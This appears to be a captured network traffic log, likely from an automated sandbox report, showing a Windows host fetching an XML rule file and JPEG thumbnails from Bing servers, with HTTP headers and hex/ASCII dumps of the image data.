2024-11-23 01:55:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015526Z-178bfbc474bxkclvhC1NYC69g400000003qg00000000e15x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49777	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:26 UTC	375	OUT	GET /th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:27 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 780589 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B8299D05776E44C8A8C08EE733599B46 Ref B: EWR30EDGE0410 Ref C: 2024-11-23T01:55:26Z Date: Sat, 23 Nov 2024 01:55:26 GMT Connection: close
2024-11-23 01:55:27 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1e 04 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 33 3a 30 35 3a 35 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 23:05:568
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: ed ff 00 de ad 4f 07 d9 da 36 a1 b3 50 86 19 2d 45 b3 cf 24 72 4b b1 3e 54 f9 55 9b fd fd 95 55 23 cd 07 ae e7 3d 0a aa 35 d3 b5 f5 28 78 c7 4a bb f0 df 8a f5 2d 16 4f 37 cc b2 95 e3 f3 3c 97 4f 31 3f 81 f6 bf cd f3 2f cd f3 55 2d 2a f1 f4 cb a8 ee 92 ce 1b 84 ff 00 96 96 d2 7d c9 3f d9 ad 2f 13 6a 12 6b 5e 27 b9 d5 f5 09 ae af 2e 2e 76 3d cc 92 cb fe b1 bf df ac bb 58 9e 59 63 85 04 b2 49 ff 00 3c fc aa 98 c5 f2 25 23 49 54 87 b4 72 a7 b5 ee 3b 5e 5b 3b 1f 10 5c da d9 7d af ec 51 c8 9e 57 da 7f 73 37 fe 3b 56 34 bd 4b 50 68 75 1f 38 c5 2c 1a 95 b7 91 73 f6 ed ef e6 2e f0 df 23 ff 00 7f e5 e2 8f 13 ea 11 eb 5a d5 ce a9 fb d8 e4 b9 8f cc 92 39 3e 7f 9f fb bb aa 8e e7 5f 2f 67 ff 00 61 4a 31 e6 86 a6 95 2a 28 54 6e 1d c8 74 e6 82 d2 1b 9f dc da dc 3d c4 7e Data Ascii: O6P-E$rK>TUU#=5(xJ-O7<O1?/U-}?/jk^'..v=XYcI<%#ITr;^[;\}QWs7;V4KPhu8,s.#Z9>_/gaJ1(Tnt=~
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 3a e6 a0 97 7d 5c f1 56 a9 0d fe a1 1c c8 22 8f cc b7 48 e4 8f f8 2b 39 35 63 aa 9d 37 16 e2 96 e6 e4 7a 34 f7 36 b6 da bd d6 9d 15 c6 9b 6f 1f ef 7c ab af 27 f7 08 ff 00 c4 ed fc 6f fc 3f c5 5a 3a 2e a5 1b dc 47 e2 19 0d ac 70 69 f7 3e 5d 96 8b 65 36 c7 81 64 df fe af fd de ed fc 55 c0 1b e9 fc 9c bc d2 f9 71 c8 ff 00 bb f3 7f f1 ea d2 f0 fd df 91 34 77 b3 43 e6 5a d9 fc f2 7f 73 fd 94 6f f7 aa 61 34 de e6 b5 20 d4 52 89 e9 07 e1 ac 5a 6f 88 b5 3d 2f 51 f1 ae 89 15 be 9f 6f 0c 96 d7 bf 3b fd bf cc 4d db 11 3f 81 bd 77 54 5a 1f 88 24 d0 5a 49 fc 37 67 e5 dd fd 99 e3 8f 52 96 5d f3 47 fd f6 8b 6f fa bf f3 cd 79 f4 1a a4 9a 9d e5 c5 ed e4 be 64 92 7e f2 49 3f da 6a e9 7c 1f e2 9b 4d 3e 2f b2 cd 67 69 25 a4 92 79 97 3e 6f fa e9 11 53 fd 5a 7f 77 75 55 fd c6 Data Ascii: :}\V"H+95c7z46o\|'o?Z:.Gpi>]e6dUq4wCZsoa4 RZo=/Qo;M?wTZ$ZI7gR]Goyd~I?j\|M>/gi%y>oSZwuU
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: cb 4b bb 77 fb 9f f4 ce ba 0e 56 ae 4f 6f 2c 8b f2 25 6d 58 6a 73 69 ed 23 d9 cd e5 4d 24 4f 04 92 47 fd c6 fb d5 89 6b f3 cb 56 df fb 95 71 bb 4d 33 9a a5 b9 ae 89 f9 93 e7 a6 c9 15 24 15 6d 57 7f dc ad f7 39 65 27 16 52 f2 b7 54 f1 ae ca b1 e4 7f 72 ad 5a c1 bb e4 a7 c8 cc e5 5d 58 6d a5 8a 3f 97 be 5f fe cd bf bb 4a f0 3a 9f 9f ff 00 21 d4 fe 51 53 f3 ff 00 cb 3f 92 91 d9 d3 ee 56 ca 09 1c be d1 c9 ee 56 45 75 8f e4 a1 d9 3c c8 d3 f8 ff 00 e5 a5 33 cf 78 aa 36 d8 ff 00 3b cb e5 ff 00 d7 4a ca e6 ca 2d 8c 79 77 37 cf 6b ff 00 6c ff 00 cf 6a ad 25 95 d3 de 5c 69 d1 c3 2d e4 df 7e 3f 2b ee fc a9 bb f2 15 d1 40 f6 29 17 d8 ae a6 97 fb 3a 38 fc cf 33 ca 4f f5 bf fa 12 ee fe ed 56 3a bc c9 79 6d 34 33 4d b3 4d 91 e4 d3 a3 93 fd 74 1f 3f df 77 5f bc d5 cf 2e Data Ascii: KwVOo,%mXjsi#M$OGkVqM3$mW9e'RTrZ]Xm?_J:!QS?VVEu<3x6;J-yw7klj%\i-~?+@):83OV:ym43MMt?w_.
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 54 9b 6d f3 2f ba ca f7 5d ce b7 c0 1a 0c 09 ab 6a de 1e 9e cf fb 7a 7b 7b 64 8e db fb 22 24 b6 4b b4 97 e6 67 fb 57 df dd b7 7f f2 ae 17 e2 17 c3 9f f8 48 3c 65 e2 0b df 1a cd 2e 9d a5 5c 4b e5 e8 b7 b1 4b e4 ff 00 a2 db 26 c4 4f 2f fb 8b da bd 11 35 0f ec af 10 69 3a a6 9f a8 ff 00 c4 aa 39 21 fb 17 d9 b6 5b ff 00 1f cf e7 27 df dd fe c6 ea f4 af 8a 56 76 32 e9 b7 ba 5f 88 b4 d8 75 5d 13 55 bd fd ef da 62 ff 00 51 e6 26 e8 bf ef 87 e7 e5 af 99 af 3a 91 ac a7 df f4 3f 45 c1 d0 a5 53 0f ec bf 95 fe 67 c1 7a fe 91 a1 36 93 7d a5 de ea 5a b6 ab 27 87 7f 77 a4 db 7d 93 fe 5c 3e f7 99 f2 ff 00 ab 6d ef bb 7e 76 ed fb d5 63 52 f8 2f a9 da ea d1 cf a1 6a 51 47 63 f6 24 b8 92 e6 e6 27 77 b0 76 4d eb 1c e8 99 db ed 27 dc 6e b5 da 7c 03 f0 37 87 bc 49 e3 bb 28 6c Data Ascii: Tm/]jz{{d"$KgWH<e.\KK&O/5i:9!['Vv2_u]UbQ&:?ESgz6}Z'w}\>m~vcR/jQGc$'wvM'n\|7I(l
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 35 55 f8 33 e0 58 3c 71 a8 69 3e 3f b5 d1 ee f5 1b 5b 7b 67 b7 bd d2 62 b4 48 6d e3 96 34 f9 3e ca ff 00 f2 d3 e5 f9 bf bc af fd ea f5 7f 1f 78 4f c2 fe 0d f0 6e 89 ad e8 ba 64 5f d9 51 db f9 92 45 a6 c5 be f3 f7 e9 f3 df 37 9f f3 48 a9 ff 00 3c 9a b2 94 a9 5f 96 ce fe 47 4c 69 d6 71 e6 ba e5 5d ce 33 c1 fa 8c 1a 17 87 65 7d 4f e2 17 97 e0 4d 1a e7 cb b2 8e 3b 4d fa a5 dc 4b fb e7 b1 49 53 fd af bf 4f f1 17 8b 74 95 f1 8c 7a c7 8a 34 7d 3e 3f b4 78 63 f7 91 68 9b 3f 77 14 af fb 9f f6 1e 5d 9f de fb 95 e4 df 10 b5 cb 4d 43 56 b6 4f 0a 43 69 65 63 65 6d f6 7b 2b 69 22 d8 96 ff 00 c5 24 df f4 d2 79 3f bf fc 3f 76 ba 2f 17 59 ff 00 67 fc 2d f0 fd d5 d6 8f ab 47 3e b5 fe 97 a9 6b 57 3f 3c d7 72 c7 f7 ed d1 1b ee 46 bf bb f9 fe ed 6e a8 c3 47 2e ba 1c 9f 5a aa Data Ascii: 5U3X<qi>?[{gbHm4>xOnd_QE7H<_GLiq]3e}OM;MKISOtz4}>?xch?w]MCVOCiecem{+i"$y??v/Yg-G>kW?<rFnG.Z
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 0a 4d a6 ec ee ba 35 d3 cf d7 43 92 d1 ef b5 af ec fb ef 89 2f a0 e8 7a ad d5 c6 a5 0f da 63 b9 df 6d 0c 8f ff 00 2c df 7f f1 7c cd 5e 2b e3 ad 26 ef 4d d5 2f 6f 3f b2 23 b3 b1 b8 be 78 04 5e 6e ff 00 b2 3a fc cd 1a 37 f1 0f f6 eb ed 5f 84 fe 1a f1 0e a7 e0 8d 5b 4e f1 5c 36 97 17 57 32 24 77 3e 6f dc bf 4f bd bb e4 ff 00 d9 6b c3 3e 2f 7c 22 bf b4 f8 99 ab e9 7a 5d e5 a5 9d 8c 91 c3 25 b4 77 32 fc f2 79 9f 72 1f f7 97 fb d5 c3 85 c5 52 8d 59 27 68 db f2 ff 00 80 7a 39 9e 5f 8a 78 5a 72 8d e4 bb 59 5e ef af f4 cf 15 b5 d3 f5 6b 7d 2e 3f 15 e9 90 fe e2 ca f5 23 f3 62 d9 fe 8f 2f de 5f 31 3d eb 36 ea f1 27 ff 00 a6 7f f3 d2 38 fe e7 fc 06 b4 f5 6b 5d 73 c2 7e 2a be f0 fe bb 34 d6 d2 5b 4a d1 ea 36 de 6e f4 ff 00 e2 5a b9 d5 fe e3 fd fa f5 a1 2b b6 ff 00 13 Data Ascii: M5C/zcm,\|^+&M/o?#x^n:7_[N\6W2$w>oOk>/\|"z]%w2yrRY'hz9_xZrY^k}.?#b/_1=6'8k]s~*4[J6nZ+
2024-11-23 01:55:27 UTC	16067	IN	Data Raw: 9d ff 00 db ff 00 7b b5 62 41 aa d8 6a ba 7c 96 57 b7 9f 67 9e cb f7 96 52 cb 17 fd f7 14 9f fb 2b 53 bc 39 e2 5b fd 12 ef ed b6 5f e8 f3 c7 fb bf ef a4 8b fd d6 5e 8c b5 ba a5 39 2f 75 6a 71 54 c4 51 8c ed 27 78 be ab a7 fc 31 a5 a6 eb 17 7e 74 73 fd b3 cb ff 00 9e 7e 57 df af 46 9f 5e b4 d4 34 9b 1b ad 5e f3 ec f6 b2 46 f6 f6 d1 db 4a ff 00 e8 f7 1f f3 d7 6f df 5f f7 2b 80 be f1 0c 7e 23 d7 3e d5 75 a3 da 79 f6 ff 00 bb 8e e6 c6 5f b3 3e ff 00 e0 66 fe 1a 9f c1 f6 96 10 ea 11 a6 bd 34 d6 f6 b2 5c a4 7e 65 cc c9 bd 37 7f cb 5d ab f7 93 fb d4 a7 05 24 9c 93 4d 76 dc bc 35 7a 90 9b 85 39 73 46 5a 5d e8 bd 4d 78 6e 60 8b 56 b9 b5 9f 58 b4 8e 39 24 4b 8b 98 e5 fd f7 f6 9f f0 fe ef fb 8d 5e af a2 f8 69 f5 7f b6 9b fd 22 ea c7 ec fe 4f f6 75 c9 f9 ee fc af e2 Data Ascii: {bAj\|WgR+S9[_^9/ujqTQ'x1~ts~WF^4^FJo_+~#>uy_>f4\~e7]$Mv5z9sFZ]Mxn`VX9$K^i"Ou
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: b0 f9 3f 2f df a8 76 50 24 ee 87 ef 7a 3e f7 fc b6 a6 49 47 df a6 80 7c 6d 22 53 b7 49 4d db ba 8f b9 54 d5 84 1b 77 d3 be e7 c9 46 da 37 52 11 61 3e 68 f6 52 a4 b3 54 09 52 73 5a 18 b4 89 37 23 7d ff 00 bf 47 c9 f7 d2 a2 df 4f 8d a9 dc 2c 4b f2 7d f4 a8 9e 9d 4d dd 48 48 6f cb 53 da c5 ba 5d 89 50 73 56 13 fd 9a 68 24 da 43 a7 8a 45 8f 7e 3e 4f f9 e9 52 5a 2b cb f2 25 5b d4 2f 2c 1b 43 b2 b2 87 4d f2 ee ad f7 bc b7 be 6f fa fd df 77 72 7f b3 59 db 53 ef 50 88 92 d2 d7 36 e0 b9 b8 ff 00 84 7e da d3 ed 90 fd 96 4b 97 93 ca ff 00 9e 72 fd dd f2 7b 6d e9 56 a4 5d 2a ea 18 de 09 a6 8e ea de 3f f4 98 ee 7e 7f 31 ff 00 bc 9f ef 57 38 9b fe e2 7d cf f9 e7 56 ac 77 af 98 ef 55 1d cc aa ea ae 49 7d b2 68 fe 4a cf 46 fe 07 a9 ae b6 79 bf 25 35 25 34 e5 bd c2 11 e5 Data Ascii: ?/vP$z>IG\|m"SIMTwF7Ra>hRTRsZ7#}GO,K}MHHoS]PsVh$CE~>ORZ+%[/,CMowrYSP6~Kr{mV]*?~1W8}VwUI}hJFy%5%4
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: f6 0a 98 68 ce 82 95 26 dc e3 ba b6 96 f2 f4 7a 3e e3 3c 33 e2 5d 5b fb 42 29 e0 9f cb ba 8e 4f dd c9 14 49 be 4a f5 78 35 af 07 da 5a 69 b6 5a f6 83 35 c4 77 1f bc d4 ae 7c df 3a e6 0b af fd 99 7f d8 af 1b f0 9b 47 63 1f f6 82 7f c7 d4 5f ea e3 ad 68 27 9f 50 9a e7 c8 9b cc 92 f7 f7 92 7f bf 59 62 70 6a a3 e6 d9 1d 79 6e 75 53 0f 4d c7 e2 6f be a7 ae eb df 0c 74 2f 14 78 7f 52 d7 a3 d7 ad 63 8f cb 7b bb 2b 9b 1d 92 c3 bb f8 d5 9f fb bd f6 37 ce 95 e6 9e 1f f0 9d fb eb 72 5a ff 00 63 dd ea 30 f9 6f 1c 92 5b 7f b4 9f c3 5e b1 f0 ca c7 4d f0 7e 9f ff 00 09 2e a3 34 d6 56 b2 47 e6 6a 52 4b 2b ff 00 a7 ee 4f f9 e7 f7 7e 4a f2 9f 1b 78 fb 55 f1 05 e7 97 0c 3f d9 d6 31 ef ff 00 46 b6 f9 3c cf 9f e5 76 ff 00 6a b3 cb a5 5d ce 54 e2 ef 15 a5 df 43 d0 e2 2a 39 7d Data Ascii: h&z><3][B)OIJx5ZiZ5w\|:Gc_h'PYbpjynuSMot/xRc{+7rZc0o[^M~.4VGjRK+O~JxU?1F<vj]TC*9}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49781	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:26 UTC	346	OUT	GET /th?id=OADD2.10239401309281_1BHGHXV93ULWJT1FQ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:27 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 892644 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D150E1B7819743A691EFE600418F1865 Ref B: EWR30EDGE0420 Ref C: 2024-11-23T01:55:27Z Date: Sat, 23 Nov 2024 01:55:26 GMT Connection: close
2024-11-23 01:55:27 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: d3 35 2d 3a f2 6d 3f 56 d5 b5 39 6f 7e dd 09 c4 d1 43 b9 c2 ae 7e 98 3f 8d 50 f1 26 87 2f 80 be 39 1b 9f 12 f8 fe e7 46 bd d7 bf d1 6c a2 b3 0d bb 54 84 9c 65 fa fc d9 3d 7d ab 8b 30 cb e6 ea d3 a3 5e 97 34 14 96 b7 ec 95 97 7d f7 ef 63 d6 c1 62 55 1a 52 f6 33 5c c9 7c 2e fa bb ef f2 e9 63 13 f6 c4 f1 56 a1 6b e3 4d 13 e0 7f 86 74 2b 0d 37 c3 da c2 c2 ba 8f 89 04 05 bc a6 2d ca a3 8e 01 fa fa d5 5f da 6b c0 da 2f 83 fe 06 de 7c 3c f0 d5 93 2d fc 9b 24 6f 10 33 e1 e6 43 d9 59 4f 24 f4 af 47 f8 b1 e0 0d 73 4a f8 2b ad 78 14 6b 76 03 4b 5f df e9 f7 97 70 bc 97 9b 32 1b 25 c7 f1 64 11 9c 74 35 e2 30 e9 1e 25 f1 46 ad e1 7f 0b eb 9e 39 b6 bd 8a 6c 25 ac 4a ff 00 ea 93 d5 bd eb cf cf 33 07 0c 42 85 24 94 dd b7 57 7b ea bb 7a 3d 3f 13 97 09 85 8c a9 b9 d4 95 d3 Data Ascii: 5-:m?V9o~C~?P&/9FlTe=}0^4}cbUR3\\|.cVkMt+7-_k/\|<-$o3CYO$GsJ+xkvK_p2%dt50%F9l%J3B$W{z=?
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: f7 ea d7 d7 44 4d f6 70 c4 93 e4 92 3e 40 33 da b5 1b c6 da 0f c3 bb e8 7c 77 f1 36 df 58 3a fe bb 0a ef 48 2d 4c b0 e9 49 8e 21 eb 85 3e a7 a9 c5 76 5f 0e 7e 2c 78 5b c6 f1 6a 1a cd bd d7 f6 7d 86 9e 36 23 dd b7 97 23 a9 19 df b7 d2 be 92 a5 6c 3d 2a 8a 9d d7 35 b5 f4 ed e8 79 9f be b3 9d 9b da ef 5f ba e4 3f 16 ae 6f fc 05 e0 9b 6d 77 43 b0 6d 46 cb c3 ce 83 52 b3 2b 99 27 87 81 b9 4f f1 11 91 c7 b5 7a 2e 8d 7f 06 ad a2 db 6a 36 8c 7c 9b b8 96 44 c8 e7 04 67 04 7a d6 67 83 4f f6 af 83 d5 6f 12 39 a1 9c 30 0c 1b 7a cc 84 9c 1e 6a 5f 05 e8 cf a1 68 ad a6 29 fd cc 4e de 40 dd 9c 29 ed fa d4 a5 15 b6 c6 15 24 e5 f1 3f 79 19 53 e9 5a 74 1f 13 e1 d5 e5 d2 21 05 ed fc b8 6f 23 51 c4 99 39 dd 8f 63 d6 b9 cf da 9b c3 b6 3a 87 c2 9d 48 c7 64 b2 dd c9 22 3c 71 a2 Data Ascii: DMp>@3\|w6X:H-LI!>v_~,x[j}6##l=*5y_?omwCmFR+'Oz.j6\|DgzgOo90zj_h)N@)$?ySZt!o#Q9c:Hd"<q
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 9f e6 8f 92 7f e0 a6 7a dd c5 e7 c7 e8 fc 3d 6c f1 7f 63 e9 70 2f 93 04 24 ed 04 8e 49 1e b5 f3 94 ca 25 bb b7 84 06 f2 ee 2e 12 32 00 cb 63 3d 85 77 1f 1f 7c 47 3f 8b fe 28 6a da e4 c3 6b 49 70 62 07 3c 10 a4 8c 8f 6a eb bf 61 3f 08 e8 5e 27 f8 f9 0e a7 e2 d9 d2 0d 0f c3 b1 1b a9 1e 45 26 36 90 72 aa 7f 3f d2 be d3 07 55 52 c0 c6 a5 44 a2 ed 76 b6 49 be 9f 7b 3c c8 e1 a2 ab fb 28 3b a5 d7 d3 56 7d c5 a8 e9 57 37 bf 09 7c 37 a4 f8 7f 4d 86 5b b9 b4 f8 e2 b3 92 e9 70 88 bb 17 73 91 ea 0d 79 5e 95 e1 d6 f0 6e 85 e2 19 6f 7c 45 08 b8 b1 89 a3 f2 a2 51 f3 c8 7b 2e 46 4f 5e d5 eb 3e 2a f1 de 8d 27 8c ac b4 1d 66 61 a2 e9 f3 ae 2d 2e cf 0a d1 e7 8d be 99 e3 f3 ac 0f 8d de 11 f0 f7 88 fc 3f 26 b5 a4 44 cf a8 d9 b6 cb 41 1c 83 65 da 7f 7b 1d ce 6b f3 6a f4 e5 56 Data Ascii: z=lcp/$I%.2c=w\|G?(jkIpb<ja?^'E&6r?URDvI{<(;V}W7\|7M[psy^no\|EQ{.FO^>*'fa-.?&DAe{kjV
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: e4 9a 6c 57 a3 50 b6 d1 a2 16 f1 cc bf 77 24 8c e7 1d 4e 4f 5f 6a fa 57 f6 3f f8 41 6b e0 4f 87 90 eb b3 df ad d6 b3 7f 01 9e 47 81 ff 00 72 32 a7 0a 40 e1 b1 9e f5 f3 37 82 7c 3b 69 e3 9f 8e 96 3a 7e a8 b3 36 9d a8 6a 06 4b 91 6e b9 66 50 c4 f3 e8 32 07 35 f7 3f 88 b4 7b db 2d 05 cf 84 ee 63 b5 96 da c4 c1 1c 0c 07 97 b4 0e 09 1d 8f bd 6c a9 28 51 8e 9a 99 73 c9 ce 5e f6 fa 5c fc dd 5f 02 eb df 13 bf 6a 6d 5b c2 d6 68 8b 73 7f ac b9 bf 9a 31 b6 38 23 18 2c 46 3a 65 41 1f 5a fb b2 ff 00 e1 dc de 0a f0 46 91 e0 0f 84 a6 d7 49 82 47 7f ed 07 60 0c b2 26 df be cd d4 b1 39 e6 bc 8f f6 55 f0 5e b7 a0 59 eb df 11 74 07 5b fd 6f 53 d5 64 5b f8 1e 30 42 2e 7a 29 f5 ed f8 d7 d0 70 ea 02 d2 69 fc 45 af 41 f6 4b d9 ec b6 7d 92 36 dc d1 28 07 92 3b 13 d2 b3 a9 88 94 Data Ascii: lWPw$NO_jW?AkOGr2@7\|;i:~6jKnfP25?{-cl(Qs^\_jm[hs18#,F:eAZFIG`&9U^Yt[oSd[0B.z)piEAK}6(;
2024-11-23 01:55:27 UTC	16384	IN	Data Raw: 3c 37 6e 9a 95 de ac f7 3a 54 f0 96 8e ee d9 4b aa 36 32 37 63 b7 4e 7d eb e8 bf b6 b0 89 a8 d4 6e 2e d7 d5 33 e7 9e 51 88 f6 5e da 0d 4a 2f b3 d7 ee 3e 7c 57 71 80 a7 e5 15 66 ce fb cb 6d a6 35 65 3d 72 2b d0 b4 5f 80 bf 10 35 bb 39 2e f4 4b 58 2e 23 46 db 18 f3 42 f9 df ee fa 9f 6a e4 e6 f0 2f 8b 63 d7 3f b1 c6 95 e6 de 19 9a 1f 26 37 cb 6f 5e a3 1e bc d7 64 31 58 6a af 96 33 4d fa 9c 0e 9d 48 cd c7 aa e8 65 49 2c 6f 21 31 fc a2 91 bf d5 97 0f c0 fc eb b2 8f e0 bf c4 f3 e1 78 fc 42 3c 29 70 ba 7c 97 6d 68 24 27 94 95 4e 08 65 ea 39 ae a7 49 f8 03 a9 e9 97 d6 17 be 33 ba 9a 1d 1a f1 84 72 de 5b 46 c5 6d dc f4 57 c7 4f c6 8c 45 7a 38 67 6a b2 b3 ed bb 35 a3 87 ab 5a 49 46 3b fe 9b 9e 3e d2 aa a8 05 b3 9e 01 f5 ae eb e1 4f c3 0f 10 78 cf 5e b6 b3 76 8f 4d Data Ascii: <7n:TK627cN}n.3Q^J/>\|Wqfm5e=r+_59.KX.#FBj/c?&7o^d1Xj3MHeI,o!1xB<)p\|mh$'Ne9I3r[FmWOEz8gj5ZIF;>Ox^vM
